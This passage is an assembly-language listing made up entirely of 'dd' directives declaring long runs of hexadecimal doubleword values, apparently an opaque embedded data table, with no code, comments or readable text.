2162FA96h, 0BE6D1C1h, 68C863A3h dd 30804DECh, 0E940FACBh, 52EFF556h, 0FE138C5Ch, 0CA82440Ch dd 5913E31Eh, 0EE711065h, 0D490BB58h, 37A5A02h, 0F1C18770h dd 0F735CDD5h, 53C1C916h, 0D10F40ECh, 88C649E1h, 0B9029768h dd 21841D94h, 3F336081h, 342C609Fh, 0B1B2212h, 59C88916h dd 20514001h, 137A266Dh, 0FEFD0159h, 0E5249738h, 0A44C80C6h dd 0E95AC85Ch, 0AE19C91h, 25C0FD31h, 0D1AE5565h, 5A555C61h dd 29B0E3ADh, 0DC925EE9h, 324D334Ah, 0BB1910CFh, 0F384163Eh dd 4F985B78h, 4F696247h, 0BCA74C5Bh, 95937453h, 46AB000Ah dd 0B923EFBDh, 104F3431h, 0C9F4D9F7h, 73191B2Fh, 6698BE71h dd 98A20B02h, 24C2F6F2h, 0C17F7630h, 0FA54AAC9h, 344F83A6h dd 97A3ECC5h, 0ACB20216h, 0C14EED91h, 296037EFh, 215B0BE8h dd 2741CDC8h, 0F5E83009h, 0B58E8C1h, 2D56304Bh, 0C1E554E9h dd 2EA7F2F3h, 0D601C83Dh, 0F7255A73h, 0A0A6145Eh, 83309F7Ch dd 2A5BDAE2h, 763C291Ah, 2BD6D830h, 0F5433381h, 0D066F31h dd 0AA2D8EC4h, 0B59534Fh, 9F717072h, 91682738h, 89697D9Ch dd 15D92852h, 20B5CCCBh, 0A4985D82h, 665D4178h, 3CB938C7h dd 29390F3Ah, 58B889CFh, 54503DCCh, 520B5CA5h, 4D232E01h dd 0F7032A0Eh, 97A9213Ah, 7EC0F667h, 316844FEh, 986F57B2h dd 30590042h, 0AF21B7C3h, 0E2618724h, 32C2AC1h, 0D602B283h dd 0A8DC5A63h, 1BBD542h, 0E0E8215Eh, 67CD7B86h, 8D601BC8h dd 366A161Dh, 7420C29h, 9305ED12h, 0D10999CFh, 9A01CC16h dd 3127021Dh, 0D035B247h, 0E983D5B2h, 0A0335C0h, 0F65BFE88h dd 510406DEh, 46800FB1h, 6CF96B8h, 3EF12006h, 3E59CE30h dd 2398B92Ch, 1DF697EAh, 0ECF9A900h, 295EF301h, 2CE916DDh dd 0E21A5E7Dh, 9D174ABCh dd 9431424Ch, 992DBF52h, 27D14106h, 4C4203D0h, 0F20000E4h dd 0B8877322h, 3B167E2Dh, 7F8475EEh, 0C1700711h, 0A22DD801h dd 64476CC8h, 0AA6EB055h, 0F55B254Ah, 2E157F03h, 0F8AEF235h dd 0BF01F87Fh, 0A574360Eh, 0CC129407h, 0A1E15427h, 0C42D6B44h dd 0C0C493Bh, 0D4EF6149h, 194C7061h, 7CC502A4h, 0C04D0727h dd 5C57E9BAh, 5FC9C3EEh, 5FBB52E5h, 4F29A1DCh, 159ACC6Bh dd 0B2C8434Fh, 195F2768h, 0F74B2666h, 0A849791Dh, 2C9D27BAh dd 46B850D2h, 58C526DDh, 86A4A4F0h, 2EBC92E9h, 4FC85258h dd 1DCAE413h, 75A4E7Eh, 9FFB755h, 8003DB70h, 0EDC0B3E5h dd 0F9F5B108h, 493A4688h, 3189052Dh, 597D43B9h, 805BDC7Ch dd 0F658E3E4h, 0DE7ED377h, 27F76CEFh, 144C4666h, 7479BB68h dd 6FDF698Dh, 4040D32Ch, 45B85803h, 2D5E0279h, 9689A14h dd 8E6204DAh, 281D819Fh, 97D32CC8h, 0E90B9F8Eh, 4171F0C5h dd 3CD20F7h, 9F8836A7h, 4BAC135Dh, 8B04D4EDh, 642CD7F5h dd 3173E118h, 8E2C6F89h, 0C3E95029h, 45B09E0Ch, 619B19BAh dd 6683647Ah, 75556816h, 662060E5h, 0D866D2B9h, 4B489798h dd 0BB53C018h, 0B8486EF3h, 42D33C1Ah, 5A5B5280h, 236BF57h dd 5D3DBE24h, 0BB9FB401h, 0D74031CDh, 0BC2042E9h, 2C074DBBh dd 0F7CBA428h, 0E8BFE90Dh, 2CD5E498h, 0C87FED70h, 59C2DBE9h dd 0B68127F1h, 0B7E6807Eh, 7339CECCh, 88531D86h, 0C5EF5DCFh dd 0B114E9C5h, 8A407C51h, 272A225Ah, 3B543F20h, 8AA6EF30h dd 83AD86EAh, 0F09C47Fh, 100E9F84h, 30462EB1h, 1C0C0A28h dd 4A41D66Eh, 9CFF560h, 0B9E9570Ch, 8F6693A2h, 9B972043h dd 528BE97Bh, 8C828254h, 608F0661h, 39C3006h, 2CAF0935h dd 8E4625E9h, 0C349F088h, 27405150h, 709F2768h, 55E6C2E6h dd 7E640E9Eh, 8A5E66A8h, 59207E1Eh, 0EE831E44h, 82131301h dd 3E825E1Fh, 50F1D95Fh, 0E5859093h, 2752E384h, 53A1EF12h dd 46A5196Dh, 0B916AAFFh, 0F832900Bh, 0B5F86655h, 45C4320Fh dd 2A21F93Eh, 0B0655952h, 0ADB840A6h, 7EB45000h, 0F280B6B2h dd 14243FB8h, 0AB6FF278h, 6408863Eh, 90A4AB4Dh, 0F0F6ED80h dd 0A2794B44h, 0C838D1Eh, 5E016B21h, 0D879A30Fh, 7DB81E1Ah dd 4BD7941h, 520024BCh, 0D1FD3BAh, 2FB8420Eh, 192F940Ch dd 1FB50C6Bh, 88B3D2h, 2D3AAFEDh, 0D57E017Ch, 3408C551h dd 0D486CC3h, 48944F03h, 0C95D080Fh, 5D3570A2h, 3D2D405Bh dd 7C5C3689h, 8E6D6552h, 5D525166h, 0CE018F43h, 0F767592Fh dd 0E146E7D6h, 4403EEC1h, 0C48A0709h, 1231E5FEh, 0EFC904EDh dd 21BF0050h, 1DFD08h, 0A942102Dh, 0E9F82954h, 1913624Bh dd 0F15138E4h, 185706Ch, 0BD64D44Ch, 7356C475h, 0C3C0CEFDh dd 51F81789h, 0C02BE927h, 0EED8F676h, 52DF59BAh, 4CB75610h dd 41C525D5h, 8705D71h, 89EE4085h, 7E9EEA50h, 960C7559h dd 10AC58C4h, 86C501E1h, 0FE7FE927h, 5E9E9548h, 0C85B9B7h dd 6CF1B211h, 331794DFh, 0FACD91E7h, 9613F2D9h, 9BF9534Bh dd 9E9D2B07h, 970AA9ECh, 0A179EF9Ah, 9B125B45h, 0BCB539B8h dd 7FEBA00Bh, 23EF1373h, 100FC401h, 2A49AB08h, 0EDCA634Bh dd 0D4D08612h, 3EB88141h, 0BE41420Dh, 500D5E1h, 0A77D099Bh dd 0E0C1480Fh, 21EAC607h, 15BB64Fh, 37DC565Ah, 2911BE01h dd 8200C6Ch, 0EB128376h, 702D583Ch, 613F8938h, 30B86DAEh dd 0B5F1817Fh, 6E22FC09h, 684B9831h, 347E4EC9h, 0BAC28CFCh dd 70462BB5h, 0AB64A949h, 35025328h, 5CBF6B51h, 1BFACE42h dd 0AFC1013Bh, 1C3742D8h, 6B9EBFC5h, 73076813h, 225CDE3h dd 7E093044h, 122DC62h, 414BE9CFh, 57DF2B8Ch, 7A13B0F2h dd 4AA41F74h, 0E9659759h, 1214C694h, 4BA0CCE9h, 5F59775Ah dd 0B2ACC039h, 0EEDC289Ah, 0F304F80Eh, 4060308Dh, 545380E0h dd 78A52A93h, 9D875BAAh, 0EE66C03h, 0B39B6407h, 7F6A90Ah dd 0F0215B05h, 0BCDF2988h, 0A1BB0156h, 212299E0h, 0B1817096h dd 0CC621F70h, 72DF4CACh, 0D6E70B9h, 0D901D4FAh, 0DD126190h dd 9585F6A0h, 929E1359h, 5AE0583Bh, 0E7306B2Ch, 3B0FBC77h dd 0C60609Fh, 277959C7h, 5BDE0113h, 0CA6602D2h, 2DF14050h dd 0FA7482B5h, 0FB13BA4Fh, 0C87D89D6h, 2A5D2E5Ah, 869A5A77h dd 61018F27h, 0C9E8315Dh, 68088FC5h, 95F392C2h, 0C9210124h dd 0C6621ED9h, 0F4F809D3h, 5B4C35F0h, 0B299F4FAh, 65963339h dd 253BF681h, 812251CFh, 67418505h, 28C2F542h, 9E875B25h dd 0B3B758D9h, 0D95A17F0h, 9C67A316h, 0C148E1A5h, 6882F478h dd 0F7FE396Ch, 6DD804C9h, 0C36DA413h, 3B45640Bh, 97B47017h dd 0EA815F6Eh, 8A9B60FBh, 0A328B191h, 0FD543324h, 64F65672h dd 0C36AD44Fh, 8DC25609h, 0B764C3A7h, 0B4238232h, 0EB89B274h dd 64C60B07h, 25FA2FF8h, 3F8541A0h, 17B41F6h, 80DBFA2h dd 38F9656Bh, 0CE20F443h, 0B508D5E9h, 0A9205696h, 0C7801646h dd 17C9058Ah, 787DB2FEh, 69BB736Fh, 0BA37EC6h, 0BC84F328h dd 9DB70753h, 0A99ECFE7h, 4971EAC8h, 62345142h, 5C10194Ch dd 45EAAA72h, 50CA1E07h, 5E5514FAh, 84AB73E4h, 0F7FD87B8h dd 576FD77Dh, 0E109CC1Ah, 21203F6h, 0F1012162h, 5EE0CDEEh dd 93A0969Dh, 2130172Dh, 2B363BBh, 79A95AF6h, 333C895Ah dd 75EA03B4h, 46BE43Dh, 6F58410Ch, 40C4ED67h, 5C37E908h dd 844F7631h, 7CF802C3h, 5250D2DFh, 39EDF074h, 31405F2Fh dd 0CA4CED2Dh, 3B3EB1E8h, 21076502h, 670E89BBh, 51B25EF7h dd 0C3010060h, 72D08358h, 0BDE51336h, 0E7336BC8h, 432AC33h dd 650BB223h, 60183F90h, 0B2D28737h, 93BEC791h, 0AA956AEh dd 9A80BA9Ah, 3D772706h, 0B1F0292Dh, 126E858Dh, 0D5D3EC9Bh dd 155034D1h, 5DC0EB13h, 4869ABBEh, 0DB120B3Ch, 0E6D6F873h dd 526601CBh, 88F0B050h, 0B3D030C2h, 0DA308F13h, 6379D04h dd 592648F2h, 0C280012Fh, 60D92C38h, 0B7265353h, 0C19A1B3h dd 5145BEFh, 5410845Dh, 4E8B22h, 87B6BD72h, 3947F7Ch, 34F50507h dd 21820AE5h, 8BD5D617h, 0CA1844E8h, 0B4F601B5h, 0E4C08800h dd 0F2CC8005h, 0EBC472FEh, 3D02ECE8h, 0CFCF8CE9h, 0F7914AFBh dd 292F1237h, 9B636F3h, 24A8E951h, 0B885310h, 97099FEBh dd 27094602h, 81E1D101h, 7A4D49C8h, 0F5F7E882h, 13F57D30h dd 5E7F1048h, 81DBC04Eh, 0E03541F3h, 102B69h, 0AC02A158h dd 0CB312821h, 85504ADBh, 31DEA152h, 21AA13B8h, 10EDADF4h dd 4654B823h, 0BF570253h, 7B070BBCh, 0E9043774h, 2AE33A46h dd 3B84632Dh, 0C1B7FCBFh, 11A3363Ah, 641F0C80h, 0FD011351h dd 883A690h, 38140C41h, 1387A315h, 0D932C795h, 93336F0h dd 0D3D32CE9h, 6BAB09CDh, 0AD625154h, 7A425C37h, 30B0A090h dd 10D84F82h, 28E90A33h, 0BF421E2Dh, 0AF5D0453h, 6C50FD5Fh dd 2FF9A592h, 7F4C8CCBh, 0D535EB90h, 7B20E842h, 4DF0371Dh dd 556ACB81h, 0F63026C5h, 42318147h, 0B174338Dh, 55B0C9C2h dd 0BA740698h, 1097208Eh, 11E642A0h, 33F10082h, 89020619h dd 0F1BA7421h, 0D27D150Bh, 4FCA704Fh, 8222D42Dh, 0C509EB3Fh dd 5A6509E6h, 0BBE05ADEh, 24304C58h, 0B714B5Eh, 0C9E666A5h dd 449F7B9h, 0BE0D4B75h, 0F57F60C5h, 0B8505E00h, 23911EDEh dd 0E0E84EC1h, 11930888h, 0FA69222Fh, 0C6C4692Fh, 0CAD23B3Ch dd 10DC42F9h, 68C256C5h, 25463FE4h, 0F26A9C81h, 0BAEB8803h dd 5E864991h dd 0AA0B07Ch, 0FEBBC831h, 2454E90Bh, 12BA641Eh, 9F2C0B27h dd 46257350h, 5D770F7h, 0A44193EAh, 0DE1BA931h, 71E3F300h dd 0FCF821A1h, 5777A23Ch, 1C26FB2h, 31041064h, 0FE295BDFh dd 175E61FAh, 356800EAh, 65891331h, 49E6F059h, 9A3EE5FFh dd 5738FB4Dh, 974AE51Ch, 4C2AC0E6h, 0E48E9488h, 0DB682014h dd 303FC527h, 3CB72236h, 6C438E56h, 0CE394005h, 3F0BB929h dd 0B119AF27h, 0BFB32420h, 0CB07DD13h, 0D0C73700h, 270CA012h dd 6B013AE9h, 0E1C39D61h, 0D241A638h, 143DE08h, 0D064EA80h dd 0B191D7E2h, 7103D5C0h, 0BDD51038h, 120243A8h, 0E5C1450Eh dd 1885C02h, 0B6F158EDh, 10802FC7h, 9BB7E3E9h, 2C7B9D44h dd 3DD3680Fh, 0FF354D19h, 2D4B3587h, 2B4CB5E9h, 0FFD8F133h dd 0FAF63380h, 524B6707h, 0CB611BF8h, 0D3C3807Ah, 0CDE1A5E3h dd 0E82279B2h, 9F5030CAh, 12BEA2F0h, 30838C2h, 0A196C968h dd 13494C20h, 0BDD830ACh, 0AD45D2E7h, 0A48C1703h, 0B5511253h dd 0A48E17A9h, 6BCBCB60h, 0B7054C29h, 2515CC91h, 8E9B2D54h dd 64CB3375h, 0C457E909h, 4D7D5C22h, 3059AA7Eh, 0F04EC362h dd 3F1F35ABh, 0FB4A109Ah, 78A58448h, 0A5389E4Fh, 0EC0306Ah dd 60C9DCE6h, 0BE4C595Ah, 0B66CC213h, 1058084Bh, 0AE0A8904h dd 0C5F68F6Eh, 8F54605Ch, 0EBA50402h, 0A493A2B2h, 0B9D3557Ch dd 784037F8h, 51E69722h, 388D545Bh, 1A66356Ah, 0A8566F6Ah dd 0BF44E971h, 41C83DE5h, 0BE724CD8h, 2D1654B6h, 0D1069C5Fh dd 5B0D29EFh, 0DB868101h, 0BF350009h, 81D13E24h, 16DCC1A4h dd 8181879Dh, 0F0F22DF8h, 5F2F3914h, 97AC6C05h, 13EF2968h dd 17C4340Bh, 0CE248457h, 0F34B47A7h, 5B4F7643h, 2A3548F2h dd 110080CBh, 5D4C284Ch, 1402305Fh, 2552E032h, 8AC43120h dd 0D9545139h, 783BC957h, 0C5BBA021h, 3D3C182Ch, 3FD70C6Ah dd 14ED309h, 8F708CDh, 0DF0B6026h, 5A00990Dh, 0E9617C2Fh dd 0B369A162h, 871DCD5h, 0C91861EBh, 0B0882206h, 0D36CE1BBh dd 8BF6007Dh, 3468B050h, 0E001C0CFh, 53C8FE04h, 0D7FDE8B7h dd 507E7E8h, 0E995EF80h, 5DD5B0B4h, 689101B5h, 0F2236C3Fh dd 5F890358h, 0A234277Bh, 0C7065F64h, 8051469Bh, 0BE236873h dd 58546227h, 775AB8DCh, 6DC22B94h, 0F4E83CE9h, 9DE9EA8h dd 0E522BF5Dh, 4ADE3492h, 1203D16Bh, 0E585D5h, 0E912464Bh dd 0A0C94F56h, 0EE1BA0D1h, 94D655Ch, 8E6C102h, 0A44F4404h dd 0B992BBA7h, 2C8D30E1h, 9832AF49h, 0AB450FEh, 3BB6525Dh dd 309200BCh, 0CDE95AF4h, 0F6399FB4h, 5238342Dh, 0F9B424A1h dd 1F59274h, 2C15CC16h, 3ED66103h, 995836CEh, 1997C122h dd 91585E82h, 0C8BF050Fh, 0F372E868h, 0ABDC12E9h, 0DA4826A7h dd 1E89845Bh, 40365322h, 495BB86Fh, 31243A13h, 158F1C3h dd 0D6B397DDh, 8C71A84Fh, 0CC32B0A2h, 0D08C0893h, 2C367438h dd 9789285Eh, 0E8881096h, 70BC6F68h, 0C94B7125h, 62106DBh dd 782E722Eh, 313EB3CDh, 0CADD6897h, 0A8CC459h, 604FB10Eh dd 0FDCF5761h, 0CC0E71Bh, 133EDC7h, 9417B028h, 303B25ECh dd 2E8AAC5Eh, 41DD410h, 5202C283h, 1488D8E8h, 0BF76670h dd 32DA68F1h, 6F7C681Ah, 11B95100h, 1360BD23h, 408E9C1h dd 0C0410461h, 0BD22D62h, 0BF07064Ah, 64DFE883h, 61AB0D51h dd 3F5E5B11h, 407D38CAh, 9802B945h, 513E442Eh, 63C4556h dd 0FED721E9h, 0B252E1BEh, 5E0FC2C6h, 0F98A0B37h, 45B99D4Bh dd 44752F13h, 0E9A8ACCDh, 54909DEh, 0FB860702h, 14980D45h dd 0BBA15F4Ah, 51F8CE3Fh, 0BB184C21h, 50DF2912h, 251E68Ch dd 1A5C6855h, 75E119E3h, 0C193813Dh, 2DC76240h, 0BF5AAFECh dd 0BF71759Ah, 13550DB6h, 0FC22A4E9h, 8DF2F744h, 34945D60h dd 0B91F1020h, 57018EB0h, 922A3D2h, 0A2F0F6E9h, 533DD478h dd 5256090Dh, 0DC665882h, 5AC25A06h, 0F4973702h, 0F799A0EEh dd 1CA0DE4Ah, 5E8FED56h, 0E813D15Eh, 0B88510C2h, 5EAC10Fh dd 814AC09Ch, 5C5DFAF2h, 0ACC82C50h, 4132133Bh, 1825AF00h dd 0EEBD59E9h, 0A9205A4Dh, 7C135F4Ah, 77C88300h, 5101789Dh dd 0FD2CB6EEh, 267A8353h, 5256BA1Ch, 0DE25906Bh, 98B089A6h dd 0B1D301EBh, 895B2D31h, 186294E9h, 6EF614E9h, 0D5EEF130h dd 5904EBB6h, 93B94C68h, 0A3764D84h, 500D0028h, 0BD5548BEh dd 6E5C18E5h, 1B47E205h, 7B315D3Bh, 69087401h, 3357E90Ch dd 265FE836h, 1B010965h, 0E93E5B64h, 8050FCECh, 3B20CEE1h dd 167C2BC3h, 5B4DA55h, 201CF2D5h, 0BE0F6626h, 2327C87Dh dd 0BF92EFh, 1653F1D3h, 0F7810263h, 49084C18h, 74DFD980h dd 0D6F71BDEh, 726A9280h, 0E918792Fh, 0C581B352h, 171F098Fh dd 0E550C17Ch, 30ABAD72h, 0B0D0F8C2h, 76DAEA9Dh, 57F588BEh dd 3A8C7630h, 37DAC930h, 0E7B152F0h, 2B13AB4Fh, 50B2078Eh dd 4E44E98Eh, 16184295h, 0AAE2A875h, 51B85007h, 0C23B7506h dd 8E2808ECh, 8D4C6B1Fh, 9F04AA7Ah, 0BE20E214h, 2D5C275Eh dd 7AF678F2h, 0C6B3489Fh, 0AA06CBC0h, 0FFF0AD84h, 8FE33753h dd 54B0288h, 0BFC207C9h, 0F021E1E7h, 0ACAD5303h, 5BDE821Fh dd 20F35033h, 0FE5C63E0h, 7D2678E7h, 6806DA28h, 30AD21EBh dd 0FEF7F5C7h, 1BB1315Fh, 7F564232h, 569C8B34h, 0F7170C24h dd 0B75007A7h, 4A8CB6F9h, 2F470066h, 0E5D16D29h, 4EC0C172h dd 356720F5h, 182B50Bh, 46E6E41Eh, 64ABE3Ah, 0F331437Fh dd 60849089h, 30ED71D3h, 664C713Bh, 93F58004h, 2DE79A15h dd 0CE45E989h, 5C027FA8h, 0E9276A7Bh, 0F87811h, 0EB09EF05h dd 0AD6F352Bh, 3125F20Bh, 0B05196C5h, 374009EBh, 36A40B92h dd 0BBB2D488h, 0BA52EF00h, 5AB53B69h, 0F552901Dh, 0F353B0E9h dd 0AC444A88h, 540E321Eh, 8EC3DFC9h, 2BA731D9h, 0D28FE73Ch dd 4B7AF30Eh, 0E7686589h, 685350C0h, 40004408h, 0F3815B7Fh dd 1E601DD2h, 40D8893Fh, 0E908E8C1h, 0EABB200Ch, 59675509h dd 52521E20h, 1D115EBFh, 5F56CC53h, 0D50BBE20h, 51E670Ch dd 6F54DC3Fh, 10CB4E60h, 64BE5601h, 96675B7Ch, 0E5EC1248h dd 0DAA131C9h, 2DE83058h, 4E4F7C8Eh, 0CB6BA12h, 0F6B97E16h dd 0D1011F17h, 0F79F1A19h, 2B490E8Bh, 0EF8BA10h, 8907EE09h dd 25768BCAh, 0E5F050AEh, 0F343E58h, 0CB62B52Fh, 0F4C94B51h dd 9F02CB99h, 40323ECCh, 95A65124h, 1676093Ah, 0E57BE962h dd 9FC0A28Dh, 3A503691h, 0E0F40937h, 86DBBh, 6006641Fh dd 88B83419h, 926C290Bh, 3542B405h, 686EC16Ch, 7456FA26h dd 7309BE40h, 3A149037h, 0C6180EEEh, 0D5470C1Eh, 7AD03B25h dd 2619A0FDh, 0B0A29FE4h, 0AA0F44BCh, 4A44E5D5h, 0C7FE8990h dd 0DBEF3880h, 0E25BF813h, 0B451547Ah, 3869064Ch, 0E1E32EB5h dd 35B14027h, 1A0F00B3h, 0B72D4866h, 0F24BA349h, 0B659F0F0h dd 82531722h, 657E5419h, 5685650h, 28346369h, 0AA4BAF5Eh dd 5CC929AEh, 0B920BE45h, 17DAE59Fh, 598F8C5Ch, 6152A8BEh dd 5623Ah, 0E47F6C69h, 5E19F101h, 0EFA4CD89h, 45C73C30h dd 0C2422802h, 0A70A78E9h, 6572D09Bh, 0C398A70Fh, 0DBF6CB21h dd 3880E3F0h, 0B04AD1F3h, 2459BAB0h, 24893E66h, 0B70EB35Eh dd 1ECC0B5h, 24685BDAh, 0C4267765h, 56B15604h, 27B7447Fh dd 0DDF70435h, 0F608BCC6h, 5ACEBAABh, 68EDD05Dh, 0A9BE6D6Ch dd 2A4E462h, 0A8752D58h, 45AF9381h, 5F322F3h, 6855E0D3h dd 0A744BF39h, 2905FBDAh dd 3C19C0D7h, 1B60F67Ch, 92E95A49h, 0E9B89EA5h, 5297FF73h dd 545AD572h, 20609D59h, 0FDDA303Bh, 17C01053h, 3799215Ch dd 0B2046D6Dh, 0F8B62EB4h, 75572631h, 0C926F909h, 0B474ABADh dd 4CAD02B8h, 0D8F73FCBh, 3EB2FF61h, 428E0051h, 22CD4A53h dd 8B4111FAh, 80FA292Bh, 1F3CBC33h, 26C2F046h, 14EF5F58h dd 5B03AD33h, 0AA24E941h, 183304Bh, 223F4C22h, 145C2984h dd 0D386106Ah, 889BA879h, 57503EC7h, 0B9071D92h, 3487C41Eh dd 0E90DB8F6h, 18F5585Bh, 0B73853E6h, 4907D966h, 0C6DF4B91h dd 61C40E5Ah, 2C247590h, 0A8880106h, 0F8310EB7h, 6A45C4EDh dd 454B9ECFh, 0AF26A5A5h, 0F95A7132h, 53689E2Dh, 0AAD5CC6Dh dd 16C86500h, 0AE9EA29h, 9E23B12Bh, 36FB4C56h, 0C487A3Bh dd 0A1B1C09Bh, 5AACE950h, 7B3FA729h, 445FD12Dh, 529E191h dd 0B7AC455Ah, 0B507E80Ah, 0E3A537BCh, 5EF2128Bh, 965A56C8h dd 452A8923h, 0E59E8556h, 51660F09h, 69BFBC28h, 0C0B71264h dd 0F601EFA6h, 6866D705h, 20BF3732h, 0C708C06Fh, 151E34BFh dd 0CBA89EE9h, 0DE281A51h, 53975812h, 50D6CEC3h, 8980EDE7h dd 0BAA5EED9h, 0E91DBC15h, 9462720Ah, 909A8ADh, 67050F1Ch dd 3FAED90h, 6C253EEAh, 427AD962h, 0F694922Ch, 3815EE00h dd 1710BF33h, 312FE206h, 84A68BD7h, 91544E51h, 81D0A3A5h dd 4090C78Dh, 6EEC3860h, 14479562h, 93AFB08h, 0FA59515Dh dd 0D5805944h, 0B540643h, 58C18941h, 0E392D5F1h, 0C4802240h dd 60E4C070h, 8520C03h, 0CDF958E1h, 0B6A120C8h, 0F1284616h dd 4F2CFFE8h, 965F9DA6h, 7AC0E19Bh, 1E5D218Fh, 17509Ch dd 0F15AED81h, 155CFDAh, 0E3C15D5Bh, 85DBF705h, 75E66804h dd 0ED105E8Dh, 39EBC15Bh, 3EF28105h, 311FA78Dh, 95516DDh dd 0C444D6C5h, 1D45E3A0h, 875E7406h, 17064BDEh, 0FE3DF681h dd 2894D0Bh, 0CBF7E97Eh, 0A1CFA9AAh, 6C640AA7h, 81AB0F26h dd 0D1F9C047h, 0FAC68912h, 9F208052h, 0D115A21Dh, 82B98087h dd 51660771h, 5C3B5F69h, 0D9FC5AF6h, 0DDA600C9h, 181FE57Eh dd 0DDCE981h, 590ECF29h, 6E08EFC1h, 140172E7h, 0DB73D906h dd 17CAC6D8h, 0B8247155h, 34D01024h, 77B25202h, 0C841C280h dd 0E9146E50h, 4054B2EFh, 911BAE9h, 424C9333h, 0FB0082FEh dd 0E940EF74h, 0D1264BA0h, 24D219FBh, 99AA5703h, 0B7F4C63h dd 1EE64931h, 63356B68h, 0D64ABDE8h, 0A2AEBD0Ah, 0C9165F66h dd 98CE144Ah, 42DE3110h, 7B0D6922h, 67CE28DCh, 74C32BB8h dd 3C24EE13h, 0D010213h, 8DB1DBCh, 52402A25h, 60F62B68h dd 0EBB20C65h, 629D9DD6h, 0D94CC2AAh, 11B71035h, 0A78474E9h dd 0C52FF8A0h, 40AFA3C8h, 150A2D20h, 50003A8h, 65662318h dd 6685651h, 0FF97CF5h, 454FB85Eh, 0E90945DBh, 655638A1h dd 4F6BBE81h, 74203793h, 530DC06Fh, 8B05C668h, 0F6D1744Ah dd 0BB006073h, 0AC144FCEh, 7D834369h, 0D7031826h, 0D6B60F8Ch dd 0F8154194h, 0BCC0B11h, 4866DB3Ah, 43859031h, 25A6B632h dd 4BA561EDh, 0D20768FCh, 0BB680BA9h, 2913ADCh, 0F2C0EA50h dd 0C2074AA7h, 881C328h, 7BC23EE9h, 9684A627h, 0F709F691h dd 8257D8FDh, 0C058C7F2h, 0C3428494h, 5550F757h, 0FA017CE0h dd 0C060C2FAh, 5BA82C3Ah, 3B0FE51h, 0F64704F3h, 53FBFED0h dd 7653CC6Bh, 59680E7Dh, 90898C37h, 74EED917h, 0F292FC97h dd 2032750Bh, 576A3CC1h, 0ECCFB4F9h, 6CA2271Bh, 2C4227Bh dd 6816B490h, 0D9F35EB2h, 0C8FEA20Bh, 0BB448685h, 0B4329639h dd 7310310h, 275B48BDh, 3E69D689h, 2B11EC9Bh, 0C257D7F2h dd 0A90BC186h, 56C0256Ah, 0B454E8D2h, 7A36C500h, 4E0148EEh dd 766A61D9h, 0DABE00A6h, 0ABD2768h, 6CA73B73h, 7C22593h dd 0BA9F5E66h, 1320D8BAh, 5FE1B9E9h, 0A99F59CBh, 857B58h dd 0A5CEB30Fh, 36F6D628h, 0C9D6809h, 0E90A6371h, 40A58B82h dd 4CBD30BEh, 0B3029B72h, 0F701AE41h, 0A602E950h, 0E93F9C6Ah dd 681E487Eh, 0A5E00B6h, 0E1815914h, 0D8306E16h, 3890C23h dd 43F7CF8h, 7071F5F1h, 2E5BFC1Dh, 0EA25164Eh, 91F354B3h dd 6E95764Bh, 2147BF4Ah, 0C7025693h, 0DECBCAE9h, 41748018h dd 42BB083Dh, 50FC213Ch, 287E44CEh, 7A12048h, 10012FBEh dd 92748629h, 278F98CBh, 7790AFADh, 0EEE4F530h, 965308C9h dd 0EA832DAEh, 0A5947764h, 99F3E344h, 4DC5EF00h, 0FD892850h dd 0EE015F12h, 0A74CAACAh, 9E1FE982h, 81D88BA4h, 3E37699Ah dd 9CBE2D33h, 6B0936A3h, 56025B09h, 0B507A6B0h, 56EB2872h dd 65253AEBh, 0E9589CF9h, 0EDB4CEh, 516A68B9h, 0E14BD154h dd 1DA57188h, 53658E2Eh, 4B87F8FFh, 8A300C8Dh, 5A0979B2h dd 3F5ECD1Eh, 92C01F84h, 34F652C2h, 0FD7EE1D3h, 0D50C747Bh dd 0F7EA78E9h, 0C15E3BF2h, 0FA26CAC8h, 0BC4D9B44h, 565244F4h dd 3DC42080h, 0E96038F5h, 0F6CE5325h, 6AE5E9A1h, 1878F5C9h dd 1FA0D589h, 85121BB8h, 0BCF13E5Ah, 3DD15A47h, 0F69862A2h dd 0BFE96805h, 0F6CA4B4Eh, 8E93364Ah, 0D517A00Bh, 23A841Eh dd 29191500h, 3B7BE96Dh, 0EBFEF29Ah, 0AC7F84C6h, 0AF584D12h dd 0B62CB40Bh, 8747638Ah, 85386203h, 5B0AFD30h, 5AD758C0h dd 332B5C39h, 31762020h, 8CC56597h, 0F33B15D4h, 0E36CA616h dd 2DEBD100h, 26712674h, 801A37E9h, 0B80860BFh, 0EFBC4F23h dd 1C00E71Dh, 38E969E1h, 0FD8880B1h, 0B924FB98h, 0F9A0B6ECh dd 3E15640Fh, 23979E0Ah, 815856B7h, 344A3F2Dh, 26906AF8h dd 0DE5E0BCBh, 3A74809h, 2E472166h, 0A7C708D9h, 1BAEB064h dd 3DBB805Ch, 9AB2114h, 0E51450A7h, 8B72B84Dh, 205ACC52h dd 6818C9F4h, 5415711Bh, 0DFEBAC13h, 2D3D1C6Dh, 0A1E04BBBh dd 0E64BB652h, 56C98DF2h, 0B32AB4D6h, 2A2C9E95h, 0E8EEC1E9h dd 0BF609FEEh, 0F20E490h, 5F38B03Ch, 325324E3h, 305E6D61h dd 4F86525h, 0A87AE168h, 7BD9C034h, 35814CCEh, 0B10DDDF2h dd 40ED6C59h, 0EF4AF075h, 1EC4CEA4h, 0C933BA47h, 656B6B7h dd 4A6B6E81h, 0C7DB015Dh, 580208EAh, 0D569DA68h, 9060F132h dd 0BB767433h, 0DF4F7E04h, 60944CE9h, 87A07FA8h, 0D169F7CAh dd 0A46A5B08h, 0FEE959F8h, 0B6281DDCh, 0E381613h, 19EFED00h dd 4A396C28h, 5CFA134Fh, 5DF4C656h, 0C205C8C5h, 35B11AB4h dd 0EA2899BCh, 3C8B2F08h, 1F2E674Dh, 0AC4E3693h, 13A6DFC1h dd 0AD741C03h, 0FDC9B033h, 2B2C2747h, 8AE964E0h, 783F2169h dd 8CB93FE3h, 34F0092Dh, 40C76263h, 243E0591h, 427A73h dd 0F63360C2h, 0D65AF730h, 844CCF80h, 0F0215A01h, 0FA01E62Fh dd 0E91FB164h, 9580B42Ch, 1C2D02E8h, 80957262h, 0E09E25B4h dd 76049745h, 0A409AE31h, 0A11396E8h, 27666688h, 326AA500h dd 0ADFBE94Eh, 0C014D383h, 0E6890FF0h, 672C75Eh, 87013483h dd 0C346EBEFh, 288641Fh, 2B9ABC09h, 9C17666h, 7C4C0196h dd 850DE232h, 2C29778Ah, 98506DFCh, 9BEA8841h, 7AD94413h dd 26DA4A08h, 49F8245Dh, 0E989EA5Bh, 0A1702FCCh, 2B8B126Bh dd 14CDC42Bh, 0D15A5A07h, 30E829D6h, 929FEDF5h, 0CF27C063h dd 95987535h, 